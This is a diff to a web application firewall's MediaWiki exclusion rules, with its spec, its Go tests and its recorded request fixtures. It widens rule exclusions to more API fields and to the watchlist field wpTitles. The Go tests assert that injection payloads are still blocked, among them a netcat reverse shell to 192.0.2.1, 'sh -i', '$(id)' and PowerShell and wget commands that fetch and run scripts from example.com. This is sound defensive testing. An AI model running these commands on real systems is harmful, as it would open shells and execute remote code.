diff --git a/SPEC.md b/SPEC.md index af7e048..7a3384f 100644 --- a/SPEC.md +++ b/SPEC.md @@ -1010,9 +1010,15 @@ requests. The changes hold in front of every app, and no setting undoes them: - `from` and `to`, the titles of a page being moved; - the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`, `aiprefix`, `aufrom` and `auprefix`; - - `gsrsearch`, `gpssearch`, `gapfrom` and `gbltitle`, which a generator - sends in place of `srsearch`, `pssearch`, `apfrom` and `bltitle`; + - `letitle`, the page whose log is listed; - `euquery`, an address; + - the fields a generator sends in place of the fields above, each with a + `g` in front: + - `gsrsearch` and `gpssearch`; + - `gapfrom`, `gapto` and `gapprefix`; + - `gaifrom` and `gaiprefix`; + - `gbltitle`; + - `geuquery`; - the user names `ucuser`, `bkusers` and `user`; - `summary`, `sectiontitle`, `filename`, `comment` and `reason`; - `lgname`, `lgpassword`, `username` and `password`, for signing in. @@ -1033,6 +1039,15 @@ requests. The changes hold in front of every app, and no setting undoes them: - `wpReason-other`, for blocking a user; - `user-reason`, for changing a user's groups; - `mwProtect-reason`, for protecting a page. + - On MediaWiki's pages, `wpTitles`, the list of watched pages that + `Special:EditWatchlist/raw` sends, one title per line. It always skips + 930120, 932120 and 932250. It skips 932125, 932230, 932235, 932260 and + 932380 only when it holds no `;`, `|`, `&`, backtick or `{`. A title + starting with a command name, such as `Python3 notes`, passes. So does a + command alone on a line, such as `wget http://example.com/x.sh`. A command + such as `; wget http://example.com/x.sh` is still refused. So is a list + that mixes a title holding one of these characters with a title starting + with a command name. - The wikitext of a page, which holds templates, tables and any code it shows: - `wpTextbox1` on MediaWiki's pages; diff --git a/internal/coreruleset/mediawiki.conf b/internal/coreruleset/mediawiki.conf index 45ef800..590a63a 100644 --- a/internal/coreruleset/mediawiki.conf +++ b/internal/coreruleset/mediawiki.conf @@ -15,7 +15,7 @@ # Pages under /wiki/ need neither. # # Four rules read a search, a title or a name as a command or a system file. -# Each exclusion below for such a field removes these four, and only these: +# Each exclusion below for such a field removes these four: # 930120: .htaccess # 932120: powershell # 932250: ls -la @@ -55,9 +55,11 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \ # aifrom, aiprefix: /api.php?action=query&list=allimages&aiprefix=python3 # aufrom, auprefix: /api.php?action=query&list=allusers&auprefix=python3 # bltitle: /api.php?action=query&list=backlinks&bltitle=Python3+notes -# gsrsearch, gpssearch, gapfrom, gbltitle: the same fields from a generator, -# /api.php?action=query&generator=prefixsearch&gpssearch=python3 +# gsrsearch, gpssearch, gapfrom, gapto, gapprefix, gaifrom, gaiprefix, +# gbltitle, geuquery: the same fields from a generator, +# /api.php?action=query&generator=allpages&gapprefix=python3 # euquery: /api.php?action=query&list=exturlusage&euquery=example.com/python3 +# letitle: /api.php?action=query&list=logevents&letitle=Python3+notes # ucuser: /api.php?action=query&list=usercontribs&ucuser=python3 # bkusers: /api.php?action=query&list=blocks&bkusers=Python3 # user: blocking, unblocking or changing the groups of a user, user=Python3 @@ -71,10 +73,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \ # allow. SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \ "id:900901,phase:1,pass,nolog,\ - ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\ - ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\ - ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\ - ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\ + ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\ + ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\ ctl:ruleRemoveTargetById=932180;FILES" # The search box's suggestions and the search through the REST API: @@ -175,3 +177,36 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \ SecRule &ARGS_GET:/^(?:wpreason-other|user-reason|mwprotect-reason)$/ "@eq 0" \ "ctl:ruleRemoveTargetById=930120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/,\ ctl:ruleRemoveTargetById=932120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/" + +# Special:EditWatchlist/raw sends the watched titles in wpTitles, one per +# line. Watchlists holding "Lighthouse notes" and then one of these titles +# were refused: +# "Python3 notes", "Powershell notes", "Ls -la notes" and ".htaccess notes" +# wpTitles always skips 930120, 932120 and 932250. Rule 900916 below skips +# 932125, 932230, 932235, 932260 and 932380 only when wpTitles holds no ";", +# "|", "&", backtick or "{", so "; wget http://example.com/x.sh" is still +# refused. A watchlist that mixes a title holding one of these with a title +# starting with a command name is refused too. +SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \ + "id:900915,phase:1,pass,nolog,chain" + SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain" + SecRule &ARGS_GET:wpTitles "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:wpTitles,\ + ctl:ruleRemoveTargetById=932120;ARGS:wpTitles,\ + ctl:ruleRemoveTargetById=932250;ARGS:wpTitles" + +# This rule is in phase 2, because a phase 1 rule runs before the body is read +# and cannot see what wpTitles holds. It checks that the body sends wpTitles +# once, since it would otherwise skip these rules for a second wpTitles +# holding a command. +SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \ + "id:900916,phase:2,pass,nolog,chain" + SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain" + SecRule &ARGS_GET:wpTitles "@eq 0" "chain" + SecRule &ARGS_POST:wpTitles "@eq 1" "chain" + SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \ + "ctl:ruleRemoveTargetById=932125;ARGS:wpTitles,\ + ctl:ruleRemoveTargetById=932230;ARGS:wpTitles,\ + ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\ + ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\ + ctl:ruleRemoveTargetById=932380;ARGS:wpTitles" diff --git a/internal/coreruleset/mediawiki_test.go b/internal/coreruleset/mediawiki_test.go index b8cfd1b..d1d2d20 100644 --- a/internal/coreruleset/mediawiki_test.go +++ b/internal/coreruleset/mediawiki_test.go @@ -49,8 +49,8 @@ func TestOrdinaryMediaWikiRequestsPass(t *testing.T) { } // mediawikiQueryFields and mediawikiBodyFields together hold every field that -// skips 930120, 932120, 932250 and 932260, other than wikitext and the JSON -// fields of /rest.php/. mediawikiQueryFields sends each in the query, on a +// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and +// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a // path where it skips them, ending in "=". // //nolint:gochecknoglobals // a constant cannot be a list @@ -85,6 +85,10 @@ var mediawikiQueryFields = []string{ "/api.php?action=query&list=allpages&apto=", "/api.php?action=query&list=allpages&apprefix=", "/api.php?action=query&generator=allpages&gapfrom=", + "/api.php?action=query&generator=allpages&gapto=", + "/api.php?action=query&generator=allpages&gapprefix=", + "/api.php?action=query&generator=allimages&gaifrom=", + "/api.php?action=query&generator=allimages&gaiprefix=", "/api.php?action=query&list=allimages&aifrom=", "/api.php?action=query&list=allimages&aiprefix=", "/api.php?action=query&list=allusers&aufrom=", @@ -92,6 +96,8 @@ var mediawikiQueryFields = []string{ "/api.php?action=query&list=backlinks&bltitle=", "/api.php?action=query&generator=backlinks&gbltitle=", "/api.php?action=query&list=exturlusage&euquery=", + "/api.php?action=query&generator=exturlusage&geuquery=", + "/api.php?action=query&list=logevents&letitle=", "/api.php?action=query&list=usercontribs&ucuser=", "/api.php?action=query&list=blocks&bkusers=", "/w/api.php?action=opensearch&search=", @@ -130,8 +136,8 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) { type mediawikiBodyField struct{ target, field string } // mediawikiBodyFields and mediawikiQueryFields together hold every field that -// skips 930120, 932120, 932250 and 932260, other than wikitext and the JSON -// fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on +// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and +// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on // a path where it skips them. // //nolint:gochecknoglobals // a constant cannot be a list @@ -174,6 +180,14 @@ var mediawikiReasonFields = []mediawikiBodyField{ {mediawikiProtect, "mwProtect-reason="}, } +// mediawikiWatchlist is the field that Special:EditWatchlist/raw posts its +// list of titles in, one per line. +// +//nolint:gochecknoglobals // a struct cannot be a constant +var mediawikiWatchlist = mediawikiBodyField{ + "/index.php/Special:EditWatchlist/raw", "wpTitles=", +} + // mediawikiWikitextFields are the form data fields that hold wikitext. // //nolint:gochecknoglobals // a constant cannot be a list @@ -190,7 +204,7 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) { crs := readingBodies(t) fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields, - mediawikiReasonFields) + mediawikiReasonFields, []mediawikiBodyField{mediawikiWatchlist}) for _, attack := range mediawikiAttacks { for _, sent := range fields { @@ -255,6 +269,34 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) { if got.Score < mediawikiThreshold { t.Errorf("PUT %s %s let through: %+v", r.target, body, got) } + + // wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it + // holds no ";", "|", "&", backtick or "{", and only when the body sends + // it once. + r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}} + + for _, attack := range []string{ + mediawikiCommandAttack, + "Example%0D%0A" + mediawikiCommandAttack, + "Example&" + mediawikiWatchlist.field + mediawikiCommandAttack, + "Example%0D%0A%24%28id%29", + "Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444", + "%3B%20sh%20-i", + "%26%26%20sh%20-i", + "%7C%7C%20sh%20-i", + "%60sh%20-i%60", + "%3B%20ls%20-la%20%2F", + "%3B%20iwr%20http%3A%2F%2Fexample.com%2Fx.ps1", + "%26%20iex%20%28iwr%20http%3A%2F%2Fexample.com%2Fx.ps1%29", + "%7Bwget%2Chttp%3A%2F%2Fexample.com%2Fx.sh%7D", + } { + body := mediawikiWatchlist.field + attack + + got, _ := inspectBody(t, crs, r, body) + if got.Score < mediawikiThreshold { + t.Errorf("POST %s %s let through: %+v", r.target, body, got) + } + } } func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) { @@ -291,6 +333,14 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) { t.Errorf("POST %s %s refused: %+v", sent.target, body, got) } } + + // A watchlist holds the title on its second line, as recorded. + r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}} + body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes" + + if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold { + t.Errorf("POST %s %s refused: %+v", r.target, body, got) + } } } @@ -355,6 +405,7 @@ func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) { {mediawikiEdit, "wpSummary=python3"}, {mediawikiSignIn, "wpPassword=python3"}, {mediawikiProtect, "mwProtect-reason=.htaccess"}, + {"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"}, {mediawikiAPI + "?action=edit", "text=python3"}, } { r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}} diff --git a/internal/coreruleset/testdata/mediawiki-requests.txt b/internal/coreruleset/testdata/mediawiki-requests.txt index ac43a94..8224e74 100644 --- a/internal/coreruleset/testdata/mediawiki-requests.txt +++ b/internal/coreruleset/testdata/mediawiki-requests.txt @@ -565,3 +565,38 @@ {"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 168", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=44%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Powershell&remove=bot&reason=Spamming+links+to+powershell+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"} {"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 160", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=46%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Ls+-la&remove=bot&reason=Spamming+links+to+ls+-la+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"} {"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 166", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=48%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=.htaccess&remove=bot&reason=Spamming+links+to+.htaccess+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"} +{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Lighthouse+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2FLighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Python3+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpython3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Powershell+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpowershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Ls+-la+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=.htaccess+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2F.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 142", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALighthouse+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"} +{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 139", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"} +{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 161", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=2%401794271545%23fad50a8505bea134cc843d03608984cc; UseDC=master"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes%0D%0APowershell+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"} +{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 179", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0ALs+-la+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"} +{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 200", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALs+-la+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0A.htaccess+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}